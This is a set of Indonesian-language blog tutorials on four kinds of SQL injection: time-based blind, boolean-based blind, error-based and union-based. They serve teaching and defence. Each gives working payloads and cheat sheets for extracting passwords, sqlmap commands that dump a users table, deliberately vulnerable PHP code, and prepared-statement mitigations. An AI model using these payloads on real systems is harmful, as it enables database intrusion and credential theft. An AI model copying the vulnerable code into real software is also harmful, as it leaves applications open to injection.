[{"content":"SQL Injection — Blind Time Based Apa Itu Blind Time-Based SQLi? Blind Boolean-based sudah cukup challenging, tapi bagaimana jika aplikasi merespons dengan sama persis setiap kali, tidak peduli kondisi TRUE atau FALSE? Tidak ada response yang dapat dibedakan.\nMasukkan Blind Time-Based SQLi.\nTeknik ini memanfaatkan fungsi SLEEP() atau fungsi penundaan lainnya dalam SQL untuk menciptakan perbedaan dalam response time. Jika query yang disuntikkan menyebabkan sleep, aplikasi akan lambat merespons. Attacker tidak melihat data secara langsung, mereka mengukur waktu response untuk membedakan TRUE dari FALSE.\nCara Kerjanya Konsep Dasar:\nPayload mengandung fungsi SQL yang menyebabkan penundaan buatan. Jika kondisi TRUE, penundaan terjadi. Jika FALSE, tidak ada penundaan. Attacker mengukur waktu response:\nNormal request (baseline): GET /product?id=1 → Response dalam ~50ms TRUE condition dengan sleep: GET /product?id=1 AND (SELECT 1 FROM users WHERE username=\u0026#39;admin\u0026#39;) AND SLEEP(5)-- → Response dalam ~5050ms (5 detik lebih lambat) FALSE condition dengan sleep: GET /product?id=1 AND (SELECT 1 FROM users WHERE username=\u0026#39;nonexistent\u0026#39;) AND SLEEP(5)-- → Response dalam ~50ms (tidak ada sleep) Catatan penting: Baseline response time harus diukur terlebih dahulu. Setiap database juga memiliki fungsinya masing-masing:\nDatabase Sleep Function MySQL SLEEP(n) PostgreSQL pg_sleep(n) Microsoft SQL Server WAITFOR DELAY 'n' Oracle DBMS_LOCK.SLEEP(n) Exploitation: Character-by-Character via Time Delay # Attacker wants to know the password hash of user \u0026#39;admin\u0026#39; # Sending payload: GET /product?id=1 AND (SELECT CASE WHEN ( SUBSTRING(password,1,1) = \u0026#39;a\u0026#39; ) THEN SLEEP(5) ELSE 0 END FROM users WHERE username=\u0026#39;admin\u0026#39;)-- Flow Diagram:\n┌─────────────────────────────────────────────────────────────┐ │ Attacker sends: │ │ GET /product?id=1 AND (SELECT CASE WHEN ( │ │ SUBSTRING(password,1,1) = \u0026#39;a\u0026#39; │ │ ) THEN SLEEP(5) ELSE 0 END FROM users)-- │ │ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ Server executes: │ │ │ │ WHERE id=1 AND (SELECT CASE WHEN (SUBSTRING(...) │ │ │ │ = \u0026#39;a\u0026#39;) THEN SLEEP(5) ELSE 0 END ...) │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ │ │ ┌────┴────┐ │ │ ▼ ▼ │ │ ┌────┐ ┌────────┐ │ │ │TRUE│ │ FALSE │ │ │ │ │ │ │ │ │ │SLEEP│ │ No │ │ │ │5s │ │ delay │ │ │ └────┘ └────────┘ │ │ │ │ │ │ ▼ ▼ │ │ 5 detik ~50ms │ │ Response │ └─────────────────────────────────────────────────────────────┘ Dengan binary search (ASCII 48-122), attacker bisa menemukan satu karakter dalam ~7 requests (log2(75) ≈ 7). Satu password 32 karakter (MD5) = ~224 requests, masih feasible.\nContoh Vulnerable Code PHP:\n$product_id = $_GET[\u0026#39;id\u0026#39;]; $query = \u0026#34;SELECT * FROM products WHERE id = $product_id\u0026#34;; $result = mysqli_query($conn, $query); $product = mysqli_fetch_assoc($result); if ($product) { echo json_encode([\u0026#34;status\u0026#34; =\u0026gt; \u0026#34;ok\u0026#34;, \u0026#34;data\u0026#34; =\u0026gt; $product]); } else { echo json_encode([\u0026#34;status\u0026#34; =\u0026gt; \u0026#34;error\u0026#34;]); } Response JSON selalu sama strukturnya, tidak ada perbedaan visual antara TRUE dan FALSE. Attacker harus menggunakan time-based approach.\nAutomasi dengan sqlmap sqlmap -u \u0026#34;https://example.com/product?id=1\u0026#34; \\ --technique=T \\ --level=5 \\ --batch \\ --dump \\ -T users # --technique=T → Time-Based Blind # --level=5 → Highest detection level # --batch → Auto-confirm prompts Mengekstrak hash spesifik:\nsqlmap -u \u0026#34;https://example.com/product?id=1\u0026#34; \\ --technique=T \\ -T users \\ -C password \\ --dump Mitigasi // SECURE: Prepared Statements satu-satunya solusi yang benar $stmt = $conn-\u0026gt;prepare(\u0026#34;SELECT * FROM products WHERE id = ?\u0026#34;); $stmt-\u0026gt;bind_param(\u0026#34;i\u0026#34;, $product_id); $stmt-\u0026gt;execute(); $result = $stmt-\u0026gt;get_result(); Prinsip umum:\n✅ Prepared Statements / Parameterized Queries ✅ Input validation dengan type casting (int untuk id) ✅ Jangan gunakan user input langsung dalam query ✅ Least privilege — DB user tidak butuh untuk sleep() ✅ WAF sebagai layer defense tambahan Cheat Sheet Database Payload Pattern MySQL AND SLEEP(N)-- MySQL (if locked) AND BENCHMARK(N, SHA1('test'))-- PostgreSQL AND pg_sleep(N)-- MSSQL AND WAITFOR DELAY 'N:SS:MMM'-- Oracle AND DBMS_LOCK.SLEEP(N)-- Purpose Payload Check vulnerability AND SLEEP(5)-- Confirm vulnerability AND SLEEP(5) IF EXISTS(SELECT 1 FROM users, SLEEP(5))-- Extract char (MySQL) AND IF(SUBSTRING(pwd,1,1)='a', SLEEP(5), 0)-- ASCII binary search AND IF(ASCII(SUBSTRING(pwd,1,1))\u0026gt;100, SLEEP(5), 0)-- Perbandingan dengan Jenis Lain Type Response Differential Speed Union-Based Ya (data visible) Fast Error-Based Ya (error visible) Fast Blind Boolean Tidak (response diff) Slow Blind Time-Based Tidak (timing diff) Slowest Referensi OWASP SQL Injection sqlmap time-based blind ","permalink":"http://blog.andrew.my.id/posts/web-penetration/sql-injection/blind-time-based/","summary":"Blind Time-Based SQL Injection adalah teknik di mana attacker memanfaatkan perbedaan waktu respons aplikasi untuk menentukan apakah suatu kondisi dalam database benar atau salah, memungkinkan mereka mengekstrak data satu karakter pada satu waktu.","title":"SQL Injection — Blind Time-Based"},{"content":"SQL Injection — Blind Boolean-Based Apa Itu Blind Boolean-Based SQLi? Tidak semua SQL injection memberikan output yang bisa langsung dilihat attacker. Kadang aplikasi tidak menampilkan hasil query, response-nya hanya \u0026ldquo;Yes/No\u0026rdquo;, \u0026ldquo;Found/Not Found\u0026rdquo;, atau bahkan tidak ada perubahan visual sama sekali.\nDi sinilah Blind Boolean-Based SQLi masuk. Alih-alih melihat data secara langsung, attacker menyelidiki respons aplikasi untuk membedakan apakah sebuah kondisi adalah TRUE atau FALSE. Dengan bertanya ribuan pertanyaan binary, attacker bisa memaksa aplikasi membocorkan data satu karakter pada satu waktu.\nBayangkan memainkan game 20 questions, tapi aplikasi adalah oracle yang menjawab dengan mengubah tampilan halaman.\nCara Kerjanya Konsep Dasar:\nAttacker mengirim payload yang memaksa aplikasi menjawab secara berbeda berdasarkan kondisi yang disuntikkan. Perubahan response, entah teks, kode status, atau ada/tidaknya elemen adalah cluenya.\nContoh:\nNormal request: GET /product?id=1 → Returns product details (200 OK) Malicious (TRUE condition): GET /product?id=1 AND 1=1 → Returns product details (200 OK) Malicious (FALSE condition): GET /product?id=1 AND 1=2 → Different response (403 Forbidden or empty) Jika AND 1=1 mengembalikan hasil normal, tetapi AND 1=2 memberikan response berbeda, berarti aplikasi vulnerable terhadap blind boolean SQLi.\nExploitation: Character-by-Character Extraction Dengan response differential ini, attacker bisa ekstrak data karakter demi karakter:\nStep 1: Cari panjang username pertama GET /product?id=1 AND (SELECT LENGTH(username) FROM users LIMIT 1) \u0026gt; 5 -- → 200 OK (True, panjang \u0026gt; 5) GET /product?id=1 AND (SELECT LENGTH(username) FROM users LIMIT 1) \u0026gt; 10 -- → 200 OK (True, panjang \u0026gt; 10) GET /product?id=1 AND (SELECT LENGTH(username) FROM users LIMIT 1) \u0026gt; 15 -- → 403 Forbidden (False, panjang ≤ 15) ...continue until exact length found (e.g., 8) Step 2: Ekstrak karakter demi karakter GET /product?id=1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1) = \u0026#39;a\u0026#39; -- → 403 (False, bukan \u0026#39;a\u0026#39;) GET /product?id=1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1) = \u0026#39;b\u0026#39; -- → 200 OK (True! Karakter pertama adalah \u0026#39;b\u0026#39;) GET /product?id=1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1) = \u0026#39;c\u0026#39; -- → 403 (False, bukan \u0026#39;c\u0026#39;) ... continue for all 8 characters Flow Diagram:\n┌─────────────────────────────────────────────────────────────┐ │ Attacker: \u0026#34;Apakah karakter pertama = \u0026#39;a\u0026#39;?\u0026#34; │ │ Payload: AND (SELECT SUBSTRING(pwd,1,1) FROM users)=\u0026#39;a\u0026#39; │ │ │ │ ┌─────────────┐ │ │ │ Web App │ │ │ │ executes: │ │ │ │ WHERE id=1 │ │ │ │ AND FALSE │ │ │ └──────┬──────┘ │ │ │ │ │ ┌──────▼──────┐ │ │ │ Response: │ │ │ │ 403 Not │◄── \u0026#34;FALSE condition\u0026#34; │ │ │ Found │ │ │ └─────────────┘ │ │ │ │ Attacker: \u0026#34;Bukan \u0026#39;a\u0026#39;. Coba \u0026#39;b\u0026#39;...\u0026#34; │ │ Payload: AND (SELECT SUBSTRING(pwd,1,1) FROM users)=\u0026#39;b\u0026#39; │ │ │ │ ┌─────────────┐ │ │ │ Response: │ │ │ │ 200 OK │◄── \u0026#34;TRUE condition!\u0026#34; │ │ │ Product │ │ │ └─────────────┘ │ │ │ │ \u0026#34;Karakter pertama = \u0026#39;b\u0026#39;!\u0026#34; ➜ Record, move to position 2 │ └─────────────────────────────────────────────────────────────┘ Contoh Vulnerable Code PHP:\n$product_id = $_GET[\u0026#39;id\u0026#39;]; $query = \u0026#34;SELECT * FROM products WHERE id = $product_id\u0026#34;; $result = mysqli_query($conn, $query); $product = mysqli_fetch_assoc($result); if ($product) { echo \u0026#34;\u0026lt;h1\u0026gt;\u0026#34; . $product[\u0026#39;name\u0026#39;] . \u0026#34;\u0026lt;/h1\u0026gt;\u0026#34;; } else { echo \u0026#34;Product not found\u0026#34;; } Tidak ada data yang dikembalikan ke attacker secara langsung, hanya \u0026ldquo;Product not found\u0026rdquo; atau menampilkan produk. Tapi query-nya masih vulnerable.\nAutomasi dengan sqlmap # Deteksi dan eksploitasi blind boolean SQLi sqlmap -u \u0026#34;https://example.com/product?id=1\u0026#34; \\ --technique=B \\ --batch \\ --dump \\ -T users # Penjelasan parameter: # --technique=B → Gunakan Blind Boolean # --batch → Auto-confirm prompts # --dump → Ekstrak seluruh data tabel # -T users → Target tabel users Mitigasi // Secure: Menggunakan Prepared Statements $stmt = $conn-\u0026gt;prepare(\u0026#34;SELECT * FROM products WHERE id = ?\u0026#34;); $stmt-\u0026gt;bind_param(\u0026#34;i\u0026#34;, $product_id); $stmt-\u0026gt;execute(); $result = $stmt-\u0026gt;get_result(); Prinsip umum:\n✅ Prepared Statements — satu-satunya cara yang benar ✅ Input validation + type casting ✅ Error handling yang tidak membocorkan info ✅ Least privilege untuk database user Cheat Sheet Purpose Payload Pattern True condition AND 1=1 False condition AND 1=2 Get string length AND (SELECT LENGTH(col) FROM table LIMIT 1) \u0026gt; N Extract character AND (SELECT SUBSTRING(col,1,1) FROM table LIMIT 1) = 'a' ASCII comparison AND ASCII(SUBSTRING(col,1,1)) \u0026gt; 100 Binary search AND ASCII(SUBSTRING(col,1,1)) BETWEEN 48 AND 122 Perbedaan dengan Jenis Lain Type Output Visible? Requires Visible Error? Speed Union-Based Ya Tidak Fast Error-Based Tidak Ya Fast Blind Boolean Tidak Tidak Slow (char by char) Blind Time-Based Tidak Tidak Slow (depends on sleep) Referensi OWASP SQL Injection sqlmap time-based blind injection ","permalink":"http://blog.andrew.my.id/posts/web-penetration/sql-injection/blind-boolean-based/","summary":"Blind Boolean-Based SQL Injection adalah teknik di mana attacker menyelidiki respons aplikasi untuk membedakan apakah sebuah kondisi adalah TRUE atau FALSE, memungkinkan mereka untuk mengekstrak data satu karakter pada satu waktu.","title":"SQL Injection — Blind Boolean-Based"},{"content":"SQL Injection — Error Based Apa Itu Error-Based SQLi? Di antara semua jenis SQL injection, Error-Based SQLi adalah yang paling \u0026ldquo;verbose\u0026rdquo;, aplikasi dengan sukarela membocorkan informasi melalui pesan error database. Attacker tidak perlu menebak-nebak atau menunggu response time; mereka tinggal memicu error, dan database akan menampilkan data yang seharusnya tersembunyi.\nIni seperti bertanya kepada seseorang yang terlalu banyak bicara: bukan hanya menjawab pertanyaanmu, tapi juga memberikan konteks yang tidak diminta, dan informasi yang mungkin tidak boleh diketahui.\nCara Kerjanya Konsep Dasar:\nAttacker menyisipkan payload yang sengaja memicu errordatabase, tetapi payload tersebut dikonstruksi sehingga error mengandung data yang attacker ingin ekstrak. Database, dalam kebiasaannya menampilkan error message lengkap, membocorkan informasi tersebut.\nContoh sederhana:\nNormal: GET /product?id=1 → Returns product data Malicious: GET /product?id=1 AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 1)))-- Error message yang dikembalikan:\nXPATH - MySQL Error: 1105 - XPATH syntax error: \u0026#39;~adminpassword123\u0026#39; Password adminpassword123 terbuka dalam error message!\nTeknik Populer 1. MySQL — EXTRACTVALUE / UPDATEXML -- EXTRACTVALUE (MySQL 5.1+) AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 1))) -- UPDATEXML (alternative) AND UPDATEXML(1, CONCAT(0x7e, (SELECT database())), 1) 2. PostgreSQL — cast() atau :: casting AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS INT)-- 3. MSSQL — convert() atau cast() AND 1=CONVERT(INT, (SELECT TOP 1 username FROM users)) 4. Oracle — utl_inaddr.get_host_name AND 1=utl_inaddr.get_host_name((SELECT password FROM users)) Diagram Serangan ┌─────────────────────────────────────────────────────────────┐ │ ATTACKER │ │ Payload: EXTRACTVALUE(1, CONCAT(0x7e, (SELECT password │ │ FROM users WHERE username=\u0026#39;admin\u0026#39;))) │ └─────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────┐ │ WEB APPLICATION │ │ Query: SELECT * FROM products WHERE id = │ │ EXTRACTVALUE(1, CONCAT(0x7e, │ │ (SELECT password FROM users...))) │ └─────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────┐ │ MySQL ERROR LOG: │ │ \u0026#34;XPATH syntax error: \u0026#39;~adminpassword123\u0026#39;\u0026#34; │ └─────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────┐ │ ATTACKER RECEIVES: │ │ \u0026#34;The password of admin user is: adminpassword123\u0026#34; │ └─────────────────────────────────────────────────────────────┘ Contoh Vulnerable Code PHP — Error reporting enabled:\n\u0026lt;?php // Production server dengan error reporting ON (BAD!) error_reporting(E_ALL); ini_set(\u0026#39;display_errors\u0026#39;, 1); $id = $_GET[\u0026#39;id\u0026#39;]; $query = \u0026#34;SELECT * FROM products WHERE id = $id\u0026#34;; try { $result = mysqli_query($conn, $query); } catch (Exception $e) { // Error disclosure — menampilkan detail error ke user echo \u0026#34;Database Error: \u0026#34; . $e-\u0026gt;getMessage(); } ?\u0026gt; Attacker mendapatkan:\nGET /product?id=1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT password FROM users LIMIT 1))) Output: Database Error: XPATH syntax error: \u0026#39;~admin_hashed_password\u0026#39; Mitigasi \u0026lt;?php // PRODUCTION: Matikan error display error_reporting(0); ini_set(\u0026#39;display_errors\u0026#39;, 0); ini_set(\u0026#39;log_errors\u0026#39;, 1); // Log ke file, bukan screen // Gunakan prepared statements $stmt = $conn-\u0026gt;prepare(\u0026#34;SELECT * FROM products WHERE id = ?\u0026#34;); $stmt-\u0026gt;bind_param(\u0026#34;i\u0026#34;, $id); $stmt-\u0026gt;execute(); Prinsip umum:\n✅ Matikan error display di production ✅ Gunakan prepared statements ✅ Error logging ke file, bukan ke user output ✅ custom error pages untuk menyembunyikan detail teknis Deteksi Manual # Dengan sqlmap sqlmap -u \u0026#34;https://example.com/product?id=1\u0026#34; --technique=E --batch # Manual trigger error \u0026#39; \u0026#34; ) ) -- AND EXTRACTVALUE(1, CONCAT(0x7e, database()))-- AND UPDATEXML(1, CONCAT(0x7e, version()), 1)-- Cheat Sheet Database Extract Data Payload MySQL 5.1+ EXTRACTVALUE(1, CONCAT(0x7e, (SELECT password FROM users))) MySQL 5.1+ UPDATEXML(1, CONCAT(0x7e, version()), 1) PostgreSQL CAST((SELECT password FROM users LIMIT 1) AS INT) MSSQL CONVERT(INT, (SELECT TOP 1 password FROM users)) Get Info Payload Database name EXTRACTVALUE(1, CONCAT(0x7e, database())) User version EXTRACTVALUE(1, CONCAT(0x7e, version())) Table names EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables))) Column names EXTRACTVALUE(1, CONCAT(0x7e, (SELECT column_name FROM information_schema.columns))) Referensi OWASP SQL Injection Error-Based Injection Explained ","permalink":"http://blog.andrew.my.id/posts/web-penetration/sql-injection/error-based/","summary":"Error-Based SQL Injection adalah teknik di mana attacker memanfaatkan pesan error database untuk mengekstrak informasi dari database.","title":"SQL Injection — Error Based"},{"content":"SQL Injection — Union Based Apa Itu SQLi Union-Based? Dari semua jenis SQL injection, Union-Based SQLi adalah yang paling \u0026ldquo;bersih\u0026rdquo;, dalam arti attacker bisa secara langsung melihat hasil query yang diinjectkan. Teknik ini memanfaatkan kata kunci SQL UNION untuk menambahkan query baru ke statement asli, sehingga attacker bisa mengekstrak data dari tabel-tabel lain di database.\nSederhananya: aplikasi webmu punya query yang mengembalikan data, dan attacker menambahkan query tambahan dengan UNION untuk mengekstrak data. Hasilnya? Mereka bisa melihat apa saja yang ada di database seperti username, password, credit card, semuanya.\nCara Kerjanya 1. Identifikasi Jumlah Kolom\nSebelum menggunakan UNION, attacker perlu tahu berapa banyak kolom yang dikembalikan oleh query asli. Ini dilakukan dengan ORDER BY:\nGET /products?id=1 ORDER BY 1-- GET /products?id=1 ORDER BY 2-- GET /products?id=1 ORDER BY 3-- -- Terus sampai error terjadi (jumlah kolom ditemukan) 2. Temukan kolom yang displayed\nAttacker menguji setiap kolom dengan NULL values:\nGET /products?id=-1 UNION SELECT NULL-- GET /products?id=-1 UNION SELECT NULL,NULL-- -- Sampai berhasil, kolom yang displayed ditandai dengan nilai yang terlihat 3. Ekstrak Data\nSekarang attacker tahu kolom mana yang displayed, mereka bisa mengisi dengan data dari tabel lain:\nGET /products?id=-1 UNION SELECT username,password FROM users-- Diagram Serangan:\n┌──────────────────────────────────────────────────────────────┐ │ APP QUERY: │ │ SELECT name, price FROM products WHERE id = 1 │ │ │ │ ATTACKER INPUT: │ │ id = -1 UNION SELECT username,password FROM users-- │ │ │ │ RESULTING QUERY: │ │ SELECT name, price FROM products WHERE id = -1 │ │ UNION │ │ SELECT username, password FROM users │ └──────────────────────────────────────────────────────────────┘ Contoh Vulnerable Code PHP — Vulnerable:\n$product_id = $_GET[\u0026#39;id\u0026#39;]; $query = \u0026#34;SELECT name, description, price FROM products WHERE id = $product_id\u0026#34;; $result = mysqli_query($conn, $query); Apa yang attacker kirim:\nhttps://example.com/product?id=-1 UNION SELECT username,email,password FROM users-- Yang terjadi:\nSELECT name, description, price FROM products WHERE id = -1 UNION SELECT username, email, password FROM users Semua username, email, dan password dari tabel users langsung terbuka.\nDampak Severity Impact Critical Kompromi total database — data apa saja bisa diambil High Authentication bypass, privilege escalation Medium Data exposure (PII, financial records) Mitigasi // Secure: Menggunakan Prepared Statements $stmt = $conn-\u0026gt;prepare(\u0026#34;SELECT name, description, price FROM products WHERE id = ?\u0026#34;); $stmt-\u0026gt;bind_param(\u0026#34;i\u0026#34;, $product_id); $stmt-\u0026gt;execute(); $result = $stmt-\u0026gt;get_result(); Prinsip umum:\n✅ Prepared Statements / Parameterized Queries ✅ Input validation (tipenya harus integer untuk id) ✅ Least privilege — DB user hanya baca tabel yang perlu ✅ WAF sebagai layer tambahan defense ✅ Regular code review Tools Detection Tool Command sqlmap sqlmap -u \u0026quot;https://example.com/product?id=1\u0026quot; --union-cols 2-4 Burp Suite Gunakan Repeater untuk manual testing nuclei Templates untuk SQLi detection Manual testing:\n1\u0026#39; UNION SELECT NULL-- 1\u0026#39; UNION SELECT NULL,NULL-- 1\u0026#39; UNION SELECT username,password FROM users-- Cheat Sheet Testing Payload Expected Find columns ORDER BY N-- Error when N \u0026gt; column count Union exploit UNION SELECT col1,col2 FROM users-- Data displayed String extraction UNION SELECT CONCAT(username,0x3a,password),NULL FROM users-- colon-separated values Database version UNION SELECT @@version,NULL-- Version info List tables UNION SELECT table_name,NULL FROM information_schema.tables-- Table names Referensi OWASP SQL Injection SQL Injection Prevention Cheat Sheet ","permalink":"http://blog.andrew.my.id/posts/web-penetration/sql-injection/union-based/","summary":"Union-Based SQL Injection adalah teknik di mana attacker menggunakan kata kunci SQL UNION untuk menambahkan query tambahan ke statement asli, memungkinkan mereka untuk mengekstrak data dari tabel lain di database.","title":"SQL Injection — Union Based"}]